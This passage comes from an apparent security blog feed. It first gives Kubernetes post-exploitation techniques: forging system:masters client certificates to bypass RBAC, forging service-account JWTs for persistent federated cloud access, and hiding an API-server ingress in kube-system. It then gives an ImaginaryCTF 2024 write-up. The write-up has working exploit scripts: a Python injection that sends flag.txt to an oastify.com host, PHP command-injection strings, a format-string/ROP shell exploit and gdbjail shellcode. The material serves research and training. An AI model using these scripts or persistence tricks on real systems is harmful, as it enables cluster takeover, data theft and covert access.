overall Kubernetes system. Therefore, we can bypass authentication based on apiserver and directly control cluster status information and permission persistence, thus controlling the database that apiserver backend relies on. Of course, in terms of post-exploitation, I recommend an article by my friend from NCC Group presented at KubeCon Shanghai 2023. Topic: <a href="https://research.nccgroup.com/2023/11/07/post-exploiting-a-compromised-etcd-full-control-over-the-cluster-and-its-nodes/">https://research.nccgroup.com/2023/11/07/post-exploiting-a-compromised-etcd-full-control-over-the-cluster-and-its-nodes/</a> Tool link: <a href="https://github.com/nccgroup/kubetcd">https://github.com/nccgroup/kubetcd</a></p><h3>Client Certification</h3><p>mTLS client verification is a common authentication method used by Kubernetes administrators. By default, the kubeconfig file for management will contain configurations like the following:</p><pre>apiVersion: v1<br>clusters:<br>  - cluster:<br>      certificate-authority-data: LS0tL...S1Qo= // Server CA <br>      server: https://server:26443<br>    name: default<br>contexts:<br>  - context:<br>      cluster: default<br>      user: default<br>    name: default<br>current-context: default<br>kind: Config<br>preferences: {}<br>users:<br>  - name: default<br>    user:<br>      client-certificate-data: LS0tQU...10K<br>      client-key-data: LS0...tLQo=</pre><p>Among them, by analyzing the client-certificate-data after base64, the specific issuing administrator information can be obtained.</p><pre>client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJrVENDQVRlZ0F3SUJBZ0lJZkl0SnFRc2JWSmd3Q2dZSUtvWkl6ajBFQXdJd0l6RWhNQjhHQTFVRUF3d1kKYXpOekxXTnNhV1Z1ZEMxallVQXhOekV3T0RNMU5UQTFNQjRYRFRJME1ETXhPVEE0TURVd05Wb1hEVEkxTURNeApPVEE0TURVd05Wb3dNREVYTUJVR0ExVUVDaE1PYzNsemRHVnRPbTFoYzNSbGNuTXhGVEFUQmdOVkJBTVRESE41CmMzUmxiVHBoWkcxcGJqQlpNQk1HQnlxR1NNNDlBZ0VHQ0NxR1NNNDlBd0VIQTBJQUJQbDlBeWtXN0tYMEJMNFUKYnhIQ0xBczJzek5ZSmFINTJ5bW9ORU95ekxYc0RIbFUvekRFdG5zajRyYWlyWG9tMTNRR1dLVUtwVlgxb1hHdQpyOGZyaW91alNEQkdNQTRHQTFVZER3RUIvd1FFQXdJRm9EQVRCZ05WSFNVRUREQUtCZ2dyQmdFRkJRY0RBakFmCkJnTlZIU01FR0RBV2dCU0tRclZQOEkrK1A1R3lWZWlFWVdqeWRoeUFVekFLQmdncWhrak9QUVFEQWdOSUFEQkYKQWlCaktsdWJvSzRWQk5xVUYyQytKMUJWSTZiMlBUZU13LzczQ1pHYzljcDhQUUloQUlzU1RnZElMSk1KbU9nSwpxSFJWQXlIVjJSbjhSUStRVUh2L0cwTzlpUnZNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJkekNDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdFkyeHAKWlc1MExXTmhRREUzTVRBNE16VTFNRFV3SGhjTk1qUXdNekU1TURnd05UQTFXaGNOTXpRd016RTNNRGd3TlRBMQpXakFqTVNFd0h3WURWUVFEREJock0zTXRZMnhwWlc1MExXTmhRREUzTVRBNE16VTFNRFV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFTYmhPdXRpYU1KMmZTM3VRZm5YNWVxaStNMzBva0UyMXMydkRvUkVVUVAKVUg2TXpRNDNCUm1TZDBnOVF2Q0Z4WlhXU3d0TnkycXFnaU4wMlI2SHoveEhvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVWlrSzFUL0NQdmorUnNsWG9oR0ZvCjhuWWNnRk13Q2dZSUtvWkl6ajBFQXdJRFNBQXdSUUlnYnhVR2RURlpmNTdNSEpjWWFUczVtWkdLVFplUDN2U0YKK2doa0Z6VzNoWThDSVFERUorV0laWXZTdzBIRDBQV0ZNOE1MeDdrSm1YTWM4NCs4UnZEdDE4WGVodz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K</pre><p>Usually, the ⁠O (organization): system:masters field indicates that the certificate is issued to the super-administrator group (this group can bypass RBAC authorization, which is crucial. Additionally, this group is hardcoded and cannot be deleted). On the other hand, ⁠CN (Common Name) represents names such as ⁠system:admin or ⁠system:cluster-admin, or account names like ⁠system:kube-controller-manager, ⁠k3s-cloud-controller-manager, ⁠system:apiserver, etc. It can also be a regular user name like developer.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>It should be noted that the only entity that can be directly created in k8s is serviceaccount. Users, on the other hand, cannot be created inherently. Therefore, federated authentication methods such as SAML AD or OIDC are commonly used for authorization, enabling unified authentication across different systems.</em></blockquote><p>So, in brief, CN represents k8s users, while O represents k8s groups.</p><p>At the same time, this type of certificate will identify its extKeyUsage as Client authentication, which means client-side authentication.</p><p>This type of certificate is issued through a client CA (such as ⁠/var/lib/rancher/k3s/server/tls/client-ca.{crt,key}) or sometimes through a root CA (⁠/etc/kubernetes/pki/ca.{crt,key}).</p><p>I have left a script to demonstrate how to manually forge and create Kubeconfig for such certificates.</p><pre>```sh<br># Create a user folder<br># example for /etc/kubernetes/pki/ca.crt sign<br>cd /etc/kubernetes/pki<br>mkdir -p users<br>cd users/<br><br># create cnf to generate any CSR <br>cat &gt; openssl.cnf &lt;&lt; EOF<br>[ req ]<br>default_bits = 2048<br>default_md = sha256<br>distinguished_name = req_distinguished_name<br> <br>[req_distinguished_name]<br> <br>[ v3_ca ]<br>basicConstraints = critical, CA:TRUE<br>keyUsage = critical, digitalSignature, keyEncipherment, keyCertSign<br> <br>[ v3_req_server ]<br>basicConstraints = CA:FALSE<br>keyUsage = critical, digitalSignature, keyEncipherment<br>extendedKeyUsage = serverAuth<br> <br>[ v3_req_client ]<br>basicConstraints = CA:FALSE<br>keyUsage = critical, digitalSignature, keyEncipherment<br>extendedKeyUsage = clientAuth<br>EOF<br><br># gen priv key<br>openssl genrsa -out devuser.key 2048<br><br># make csr requests<br>openssl req -new -key devuser.key -subj &quot;/CN=kubernetes-admin/O=system:masters&quot; -out devuser.csr<br><br># ANY CN and O is system:masters to bypass RBAC<br>openssl req -new -key devuser.key -subj &quot;/CN=kubernetes-admin-testadmin/O=system:masters&quot; -out devuser.csr<br><br># gen user crt with openssl<br>## ca.crt and ca.key should at /etc/kubernetes/pki <br>## workdir is /etc/kubernetes/pki/users now.<br>openssl x509 -req -in devuser.csr -CA ../ca.crt -CAkey ../ca.key -CAcreateserial -extensions v3_req_client -extfile openssl.cnf -out devuser.crt -days 3650<br><br># set clustername and apiserver<br>export KUBE_APISERVER=&quot;https://{{K8S_MASTER_IP}}:6443&quot;<br>export CLUSTER_NAME=clustername<br><br># generating kuberconfig 1 <br>kubectl config set-cluster ${K8S_CLUSTER_NAME} \<br>--certificate-authority=../ca.crt \<br>--server=${KUBE_APISERVER} \<br>--embed-certs=true \<br>--kubeconfig=devuser<br><br># set client auth with cred<br># generating kuberconfig 1 <br>kubectl config set-credentials devuser \<br>--client-certificate=devuser.crt \<br>--client-key=devuser.key \<br>--embed-certs=true \<br>--kubeconfig=devuser<br><br># setting context with clustername with user and namespace.<br>kubectl config set-context ${K8S_CLUSTER_NAME} \<br>--cluster=${K8S_CLUSTER_NAME} \<br>--namespace=default \<br>--user=devuser \<br>--kubeconfig=devuser<br><br># set current context to previous sets<br>kubectl config use-context ${K8S_CLUSTER_NAME} --kubeconfig=devuser<br><br># done. read your kubeconfig<br>cat ./devuser</pre><p>Once this is issued, you can use the kubeconfig of this ⁠devuser to directly connect to the APIServer and attempt to take over the entire cluster.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This process is equivalent to creating a CertificateSigningRequest object in the k8s cluster and going through the signing process on the backend after it has been approved.</em></blockquote><pre>openssl genrsa -out hacker.key 2048<br>openssl req -new -key hacker.key -subj &quot;/CN=iamhacker&quot; -out hacker.csr<br>LOCAL_CSR=`cat hacker.csr| base64 | tr -d &quot;\n&quot;` cat &lt;&lt;EOF | kubectl apply -f -<br>apiVersion: certificates.k8s.io/v1<br>kind: CertificateSigningRequest<br>metadata:<br>        name: es-on-req<br>spec:<br>        request: ${LOCAL_CSR}<br>        signerName: kubernetes.io/kube-apiserver-client<br>        #expirationSeconds: 86400  # one day<br>        usages:<br>                - client auth<br>EOF<br><br># approve and sign: kubectl certificate approve es-on-req<br># after sign req from pending to Issued<br>kubectl get csr es-on-req -o jsonpath=&#39;{.status.certificate}&#39;| base64 -d &gt; ehacker.crt</pre><h3>JWT serviceaccount tokens</h3><p>Next, here comes to the interesting part. The JWT token mechanism in k8s is quite fascinating. When not using mtls mutual authentication, JWT Bearer Auth is the most commonly used credential within the cluster.</p><p>As we all know, K8S’s JWT is also signed, but its signing method is not weak HS256, instead it uses RS256. The simplest format of JWT Claim is following.</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;<br>  // &quot;kid&quot;: key-id // some aws like service has<br>}<br>{<br>  &quot;aud&quot;: [<br>    &quot;https://kubernetes.default.svc.&lt;node-name&gt;&quot;, <br>    // &quot;sts.amazonaws.com&quot; <br>    // &quot;k3s&quot;<br>    // &quot;https://kubernetes.default.svc&quot;<br>    // &quot;https://kubernetes.default.svc.cluster.local&quot;<br>    // node-name could be cluster.local or xxx <br>  ],<br>  &quot;exp&quot;: 1735799999,   // expiration time<br>  &quot;iat&quot;: 1704164933,  // issue at <br>  &quot;iss&quot;: &quot;https://kubernetes.default.svc.&lt;node-name&gt;&quot;,<br>  // https://oidc.eks.us-west-1.amazonaws.com/id/&lt;eks-oidc-id&gt; <br>  // iss is issuer <br>  &quot;kubernetes.io&quot;: {<br>    &quot;namespace&quot;: &quot;&lt;ns&gt;&quot;, // service account namespace<br>    &quot;serviceaccount&quot;: {<br>      &quot;name&quot;: &quot;&lt;name&gt;&quot;, // service account username <br>      &quot;uid&quot;: &quot;&lt;sa-uid&gt;&quot; // service account uid<br>    }<br>  },<br>  &quot;nbf&quot;: 1704164933, // not valid before which is always same as iat<br>  &quot;sub&quot;: &quot;system:serviceaccount:&lt;ns&gt;:&lt;name&gt;&quot; <br>}</pre><p>The issuance process is done through the signing of sa.key. This process has been simplified and weaponized, and I have stored it in the <a href="https://github.com/Esonhugh/TicketMaster"><strong>project ticketmaster</strong></a>. Feel free to check it out and give it a star if you find it useful.</p><p>This method has excellent concealment and can impersonate almost any service account. It even supports federated exploitation of other cloud services authorized by the service account, which will be mentioned in subsequent sections.</p><p>However, there are several limitations to using it. One is that all service accounts in Kubernetes can be listed (to obtain UID, name, and namespace information, where obtaining the UID is crucial as it serves as a unique identifier for users). Another limitation is the need to obtain at least one template JWT to determine the fields used in the JWT and their corresponding values (sometimes issuer maybe a problem).</p><p>Additionally, since UID is required and even service accounts with the same name under the same namespace may have different UIDs (due to deletion and recreation), this makes it easy for such attack methods to become ineffective after backing up all names, deleting them all once, and then recreating accounts with the same names.</p><h3>One More Thing (Tim Cook face)</h3><p>here is I need point out two points. One of it is a part of key to Wiz EksClusterGame IV Challenge.</p><h4>Federal Cloud of Investigation — JWT Audience</h4><p>Ass we all known, various cloud services can establish mutual trust through the OIDC technology. You trust me, and I trust you. When a cluster still has OIDC trust, this technology allows us to invisibly persist other cloud services by directly forging K8S credentials. For example, AWS.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Other cloud service offers equivalent services.</em></blockquote><p>The interesting thing about this technique is that even if you are unable to access the k8s cluster in the end (for example, if the other party detects your attack behavior and restricts access to the cluster by implementing physical isolation or modifying network structure as defensive measures), as long as there is still a trusted relationship between the cluster and other clouds, and it has not been compromised, you can still issue arbitrary JWT tokens from the cluster to access other cloud resources with specific identities. The only concern for the cloud is that the request originates from an external IP address rather than a cluster address.</p><p>how to configure a similar environment for mutual communication, here is an excellent example: <a href="https://www.artur-rodrigues.com/tech/2024/03/19/cross-cloud-access-a-native-kubernetes-oidc-approach.html">https://www.artur-rodrigues.com/tech/2024/03/19/cross-cloud-access-a-native-kubernetes-oidc-approach.html</a></p><h4>reverse proxy APIServer (Expose kubernetes under ingress)</h4><p>This technique is not difficult to understand. Its main purpose is to bypass the firewall and directly access the API Server. Ass is well known, the API server’s service is usually open on port 6443 of the master address and it listens for TLS connections. However, firewalls typically only allow ports 80 and 443, which are commonly used by ingress services. So how can we freely call the API server from outside?</p><p>In fact, Kubernetes provides an internal service called kubernetes.default.svc.cluster.local. This service is located in the default namespace of Kubernetes and it opens port 443. Since it&#39;s a service, we can use ingress to forward its traffic externally.</p><p>Example with nginx ingress.</p><pre>apiVersion: &lt;version&gt;<br>kind: Ingress<br>metadata:<br>  annotations:<br>    kubernetes.io/ingress.class: nginx<br>    nginx.ingress.kubernetes.io/backend-protocol: HTTPS<br>    nginx.ingress.kubernetes.io/rewrite-target: &quot;/$1&quot;<br>    nginx.ingress.kubernetes.io/secure-backends: &quot;false&quot;<br>  name: ingress-name<br>  namespace: ns<br>spec:<br>  rules:<br>    - http:<br>        paths:<br>// old ingress <br>          - path: /kube-api/(.*)$<br>            pathType: Prefix<br>            backend:<br>              serviceName: service-name<br>              servicePort: 443<br>//  new ingress <br>       - path: /kube-api/(.*)$<br>            pathType: Prefix<br>         backend:<br>           service:<br>             name: service-name<br>                port:<br>                  number: 443</pre><p>But ingress is namespace-d , if current NS is not the default, how we deal with it?</p><p>Kubernetes has a service type called ExtenalName</p><pre>apiVersion: v1<br>kind: Service<br>metadata:<br>  name: kube-api<br>  namespace: &quot;none-default-namespace&quot;<br>spec:<br>  type: ExternalName<br>  externalName: ip-here # or use kubernetes.default.svc.cluster.local</pre><p>Therefore, we can use this method to forward the corresponding services of other namespaces to this NS.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>You can cleverly forward a Kubernetes service in the default namespace within </em><em>kube-system. Trust me, not many administrators will specifically check if there is an ingress for it in </em><em>kube-system. :)</em></blockquote><p>By combining these two methods, we can finally obtain the API server service in the ingress. Then, all we need to do is modify the cluster configuration (kubeconfig or command-line parameters) by changing the apiserver address from https://ip:6443 to http(s)://ip/kube-api, and we can access it again using kubectl.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>if you met certificate issue in kubectl, play with </em><em>--insecure-skip-tls-verify</em></blockquote><h3>Summary</h3><p>Summary time! In the context of post-exploitation activities, Kubernetes’ certificate system offers significant advantages and flexibility. Firstly, as the certificate system itself is designed to ensure the security of communication encryption and identity authentication, especially through mutual TLS (mTLS) authentication, it can verify the identities of both clients and servers. If an attacker obtains a valid certificate, they can impersonate a legitimate super administrator, bypassing regular RBAC identity verification mechanisms and gaining direct access to cluster resources. Additionally, by controlling the ETCD backend database or forging service account JWT tokens, attackers can maintain persistent control over permissions and states within the cluster. The flexible issuance of certificates combined with federated authentication methods like OIDC provides covert yet powerful avenues for exploitation in later stages.</p><h3>Thanks</h3><p>Thank you to my WgpSec team for their support in my research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*9zmvh5RCJKId0pPrdImENg.png" /></figure><p>Special thanks to the members of the CSA GCR Cloud Penetration Testing Working Group for their guidance and assistance in my research direction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/0*80yzyyEByl3BPs19.png" /></figure><p>Hello, I’m Esonhugh. Take care of your cluster and be well. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*2WRIIswiXIwW4Wni.png" /></figure><p>If you really enjoy my content, here is a sponsorship link <a href="https://www.patreon.com/Skyworshiper,">https://www.patreon.com/Skyworshiper,</a> where I will occasionally release new articles or pre-release drafts.</p><p>Thank you for reading this so far.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08f382183e59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Imaginary CTF2024 WriteUp]]></title>
            <link>https://wgpsec.medium.com/imaginary-ctf2024-writeup-47232a01854d?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/47232a01854d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Tue, 23 Jul 2024 07:03:29 GMT</pubDate>
            <atom:updated>2024-07-23T07:03:29.511Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>ImaginaryCTF 2024 is a cybersecurity CTF competition run by ImaginaryCTF with a variety of challenges for all skill levels. It runs from July 20 to July 22, starting and ending at 3 AM GMT+8. For more information, check out last year’s challenges from ImaginaryCTF 2023, with over 2000 participants.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAjtKwOLNBhYnqhTgsU3kQ.png" /></figure><p>To join the team, send your resume to <a href="/service/mailto:admin@wgpsec.org">admin@wgpsec.org</a></p><h3>WEB</h3><h3>Readme</h3><blockquote><strong><em>Description</em></strong><em> Try to read the flag.txt file. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/67af3fd941707117"><em>https://cybersharing.net/s/67af3fd941707117</em></a><em> </em><a href="http://readme.chal.imaginaryctf.org/"><em>http://readme.chal.imaginaryctf.org/</em></a></blockquote><p>flag在源码里给了</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/0*9J6I4EGpJjymeMHY" /></figure><h3>P2C</h3><blockquote><strong><em>Description</em></strong><em> Welcome to Python 2 Color, the world’s best color picker from python code! The flag is located in flag.txt. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/593d1cd970182e64"><em>https://cybersharing.net/s/593d1cd970182e64</em></a><em> </em><a href="http://p2c.chal.imaginaryctf.org/"><em>http://p2c.chal.imaginaryctf.org/</em></a></blockquote><p>python code injection</p><pre>import urllib.request<br>import subprocess<br>import urllib.parse</pre><pre>def fetch_data():<br>    result = subprocess.run([&#39;cat&#39;, &#39;flag.txt&#39;], capture_output=True, text=True)<br>    flag = result.stdout.strip()  # Get the output and strip any extra whitespace/newlines</pre><pre>    data = urllib.parse.urlencode({&#39;flag&#39;: flag}).encode()</pre><pre>    url = &quot;http://sd96d2ywsngcglfawln1iefbn2ttho5d.oastify.com/&quot;</pre><pre>    req = urllib.request.Request(url, data=data)<br>    response = urllib.request.urlopen(req)<br>    result = response.read().decode(&#39;utf-8&#39;)<br>    return result</pre><pre>result = fetch_data()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gMRDaqJyBPk9gZGS" /></figure><h3>Crystals</h3><blockquote><strong><em>Description</em></strong><em> Al₂O₃ </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/c57444a64217c6c7"><em>https://cybersharing.net/s/c57444a64217c6c7</em></a><em> </em><a href="http://crystals.chal.imaginaryctf.org/"><em>http://crystals.chal.imaginaryctf.org/</em></a></blockquote><p>Flag被存在了Hostname中， 直接特殊字符导致报错，拿到flag</p><pre>GET /asdsad&gt;!@#@!$%@$^# HTTP/1.1<br>Host: crystals.chal.imaginaryctf.org</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nqSt5M3is-9z8aRs" /></figure><h3>Journal</h3><blockquote><strong><em>Description</em></strong><em> dear diary, there is no LFI in this app </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/6f429753e4ae6d3c"><em>https://cybersharing.net/s/6f429753e4ae6d3c</em></a><em> </em><a href="http://journal.chal.imaginaryctf.org/"><em>http://journal.chal.imaginaryctf.org/</em></a></blockquote><pre>file1.txt&#39; and die(system(&#39;ls /&#39;)) or &#39;<br>file1.txt&#39; and die(system(&quot;cat /flag-cARdaInFg6dD10uWQQgm.txt&quot;)) or &#39;</pre><p>Assert PHP 代码注入</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wwesP4KgtPKDWTZ4" /></figure><h3>The Amazing Race</h3><blockquote><strong><em>Description</em></strong><em> I’ve hidden my flag in an impenetrable maze! Try as you might, even though it’s right there, you’ll never get the flag! </em><strong><em>Attachments</em></strong><em> </em><a href="http://the-amazing-race.chal.imaginaryctf.org/"><em>http://the-amazing-race.chal.imaginaryctf.org/</em></a></blockquote><p>条件竞争，给一个空位，疯狂冲撞。什么迷宫不迷宫的，头铁往墙上撞就完事。原理就是：1.数据判断方向能否移动的select查询 和 2.坐标更新的update语句 是不同线程负责的，会导致条件竞争。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bniw0ZwcAXMv4Sz8" /></figure><p>FLAGictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}</p><h3>Pwn</h3><blockquote><strong><em>Description</em></strong><em> Back to the old school. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/9325732cdfe6a6ab"><em>https://cybersharing.net/s/9325732cdfe6a6ab</em></a><em> nc imgstore.chal.imaginaryctf.org 1337</em></blockquote><h3>imgstore</h3><p>朴实无华的fmt</p><pre>from pwn import *<br>io = </pre><pre>io.recvuntil(b&quot;&gt;&gt;&quot;)<br>io.sendline(b&quot;3&quot;)<br>p = b&quot;%17$p%18$p%19$p%25$p&quot;<br>io.sendline(p)</pre><pre>io.recvuntil(b&quot;0x&quot;)<br>canary = int(io.recv(16),16)<br>io.recvuntil(b&quot;0x&quot;)<br>buf = int(io.recv(12),16) - 0x7fffffffd350 + 0x7fffffffd2d8<br>io.recvuntil(b&quot;0x&quot;)<br>pie = int(io.recv(12),16) - 0x21b8<br>io.recvuntil(b&quot;0x&quot;)<br>__libc_start_main = int(io.recv(12),16) - 243<br>libc = ELF(&quot;./libc.so.6&quot;)<br>libc_base = __libc_start_main - libc.sym[&#39;__libc_start_main&#39;]<br>print(&quot;[+]libc_base:&quot;,hex(libc_base))<br>sys_addr = libc_base + libc.sym[&#39;system&#39;]<br>sh_addr = libc_base + next(libc.search(b&quot;/bin/sh\x00&quot;))<br>retaddr = buf + 8*12<br>bk = 0x1EF1 + pie<br>io.recvuntil(b&quot;[y/n]: &quot;)<br>io.sendline(b&quot;y&quot;)<br>io.recvuntil(b&quot;title:&quot;)<br>io.sendline(f&quot;%{bk&amp;0xffff}c%10$hnaaa&quot;.encode()+p64(retaddr))<br>rdi_ret = pie + 0x0000000000002313<br>ret = pie + 0x000000000000101a<br>io.recvuntil(b&quot;[y/n]: &quot;)<br>io.sendline(b&quot;n&quot;)<br>io.recvuntil(b&quot;&gt;&quot;)<br>p = b&quot;A&quot;*0x68 + p64(canary) + b&quot;A&quot;*8 +p64(ret) + p64(rdi_ret) + p64(sh_addr) + p64(sys_addr)<br>io.sendline(p)<br>io.interactive()</pre><h3>Misc</h3><h3>sanity-check</h3><blockquote><strong><em>Description</em></strong><em> Welcome to ImaginaryCTF 2024! </em><strong><em>Attachments</em></strong><em> ictf{this_isnt_real}</em></blockquote><pre>ictf{this_isnt_real}</pre><h3>discord</h3><blockquote><strong><em>Description</em></strong><em> Join our Discord community for updates and support! If you would like to do some more CTF after this competition, we do host daily CTF challenges on our Discord server as well. Join at </em><a href="https://discord.gg/ctf"><em>https://discord.gg/ctf</em></a><em> . You can find the flag for this challenge in the #imaginaryctf-2024 channel.</em></blockquote><ul><li>网址：<a href="https://discord.com/invite/QxFdGYPd4P">https://discord.com/invite/QxFdGYPd4P</a></li></ul><pre>ictf{fake_flag_for_testing}</pre><h3>gdbjail1</h3><blockquote><strong><em>Description</em></strong><em> gelatinous grudges garnish grevious gravestones </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/b8e3061c30fafbb0"><em>https://cybersharing.net/s/b8e3061c30fafbb0</em></a><em> nc gdbjail1.chal.imaginaryctf.org 1337</em></blockquote><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br>from pwn import *<br>import binascii</pre><pre>context(arch=&quot;amd64&quot;, endian=&#39;el&#39;, os=&quot;linux&quot;)<br>context.log_level = &quot;debug&quot;<br></pre><pre>sc = asm(shellcraft.cat(&#39;/home/user/flag.txt&#39;))</pre><pre>p = remote(&#39;gdbjail1.chal.imaginaryctf.org&#39;, 1337)<br></pre><pre>p.sendlineafter(b&#39;(gdb) &#39;, b&#39;break&#39;)<br>p.recvuntil(b&#39; at &#39;)<br>buf = int(p.recvuntil(b&#39;: file&#39;)[:-6], 16)</pre><pre>for i in range(0, len(sc), 4):<br>    idx = i+4<br>    if idx &gt;= len(sc):<br>        idx = len(sc)<br>    num = int(binascii.hexlify(sc[i:idx][::-1]), 0x10)<br>    cmd = &#39;set *({}+{})={}&#39;.format(buf, i, hex(num))<br>    print(cmd)<br>    p.sendlineafter(b&#39;(gdb) &#39;, cmd.encode())</pre><pre>p.sendlineafter(b&#39;(gdb) &#39;, b&#39;continue&#39;)<br>p.interactive()<br># ictf{n0_m0re_debugger_a2cd3018}</pre><h3>gdbjail2</h3><blockquote><strong><em>Description</em></strong><em> rip rip </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/5a2e68432a14cefc"><em>https://cybersharing.net/s/5a2e68432a14cefc</em></a><em> nc gdbjail2.chal.imaginaryctf.org 1337</em></blockquote><p>先读目录获取文件名</p><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br>from pwn import *<br>import binascii</pre><pre>context(arch=&quot;amd64&quot;, endian=&#39;el&#39;, os=&quot;linux&quot;)</pre><pre># sc = &#39;&#39;<br># sc += shellcraft.pushstr(&#39;/home/user/&#39;)<br># sc += shellcraft.open(&#39;rsp&#39;, 0, 0)<br># # SYS_getdents64<br># sc += shellcraft.syscall(217, &#39;rax&#39;, &#39;rsp&#39;, 1000)<br># sc += shellcraft.write(1, &#39;rsp&#39;, 1000)</pre><pre>sc = &#39;&#39;<br>sc += shellcraft.pushstr(&#39;/home/user/W4GbJUuvbTGypTHrXAeD.txt&#39;)<br>sc += shellcraft.open(&#39;rsp&#39;, 0, 0)<br>sc += shellcraft.read(&#39;rax&#39;, &#39;rsp&#39;, 1000)<br>sc += shellcraft.write(1, &#39;rsp&#39;, 1000)<br>sc = asm(sc)</pre><pre>p = remote(&#39;gdbjail2.chal.imaginaryctf.org&#39;, 1337)</pre><pre>p.sendlineafter(b&#39;(gdb) &#39;, b&#39;break&#39;)<br>p.recvuntil(b&#39; at &#39;)<br>buf = int(p.recvuntil(b&#39;: file&#39;)[:-6], 16)<br>p.sendlineafter(b&#39;(gdb) &#39;, &#39;set $rip={}&#39;.format(buf).encode())</pre><pre>for i in range(0, len(sc), 4):<br>    idx = i+4<br>    if idx &gt;= len(sc):<br>        idx = len(sc)<br>    num = int(binascii.hexlify(sc[i:idx][::-1]), 0x10)<br>    cmd = &#39;set *{}={}&#39;.format(buf+i, num)<br>    print(cmd)<br>    p.sendlineafter(b&#39;(gdb) &#39;, cmd.encode())</pre><pre>p.sendlineafter(b&#39;(gdb) &#39;, b&#39;continue&#39;)<br>p.interactive()<br># ictf{i_l0ve_syscalls_eebc5336}</pre><h3>starship</h3><blockquote><strong><em>Description</em></strong><em> We’ve gotten console access to the rogue ship, but there isn’t much time left. Hopefully you can figure out how to destroy it… before it’s too late. </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/79c7e323d8f328f0"><em>https://cybersharing.net/s/79c7e323d8f328f0</em></a><em> nc starship.chal.imaginaryctf.org 1337</em></blockquote><p>平均数开梭</p><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br>from pwn import *</pre><pre>context(arch=&quot;amd64&quot;, endian=&#39;el&#39;, os=&quot;linux&quot;)</pre><pre>p = remote(&#39;starship.chal.imaginaryctf.org&#39;, 1337)</pre><pre>p.sendlineafter(b&#39;&gt; &#39;, b&#39;4&#39;)<br>p.recvuntil(b&#39;target 1: &#39;)<br>one = p.recvuntil(b&#39; | &#39;)[:-3].split(b&#39;,&#39;)<br>p.recvuntil(b&#39;target 2: &#39;)<br>two = p.recvuntil(b&#39; | &#39;)[:-3].split(b&#39;,&#39;)</pre><pre>res = []<br>for i in range(0, len(one)):<br>    res.append(str((int(one[i]) + int(two[i])) // 2))</pre><pre>res.append(&#39;friendly&#39;)<br>res = &#39;,&#39;.join(res)</pre><pre>p.sendlineafter(b&#39;&gt; &#39;, b&#39;42&#39;)<br>p.sendlineafter(b&#39;enter data: &#39;, res.encode())<br>p.sendlineafter(b&#39;&gt; &#39;, b&#39;2&#39;)<br>p.sendlineafter(b&#39;&gt; &#39;, b&#39;4&#39;)<br>p.interactive()<br># ictf{m1ssion_succ3ss_8fac91385b77b026}</pre><h3>bank</h3><blockquote><strong><em>Description</em></strong><em> Can you steal the bank’s money? </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/063920be8b96dcc5"><em>https://cybersharing.net/s/063920be8b96dcc5</em></a><em> nc 34.30.117.150 40000</em></blockquote><h3>ok-nice</h3><blockquote><strong><em>Description</em></strong><em> Ok nice </em><strong><em>Attachments</em></strong><em> </em><a href="https://cybersharing.net/s/68520aa758a9087c"><em>https://cybersharing.net/s/68520aa758a9087c</em></a><em> nc ok-nice.chal.imaginaryctf.org 1337</em></blockquote><p>真没搜到侧信道的jail题，猜题大胜利</p><pre>from pwn import *<br># context.log_level = &#39;debug&#39;<br>p = remote(&quot;ok-nice.chal.imaginaryctf.org&quot;, 1337)</pre><pre>out = &#39;ictf{&#39;<br>p.recvuntil(b&#39;\n&#39;)<br>for i in range(5, 0x20):<br>    cnt = False<br>    for j in range(0, 128):<br>        idx1 = &#39;+&#39;.join([&#39;True&#39;] * i)<br>        if i == 0:<br>            idx1 = 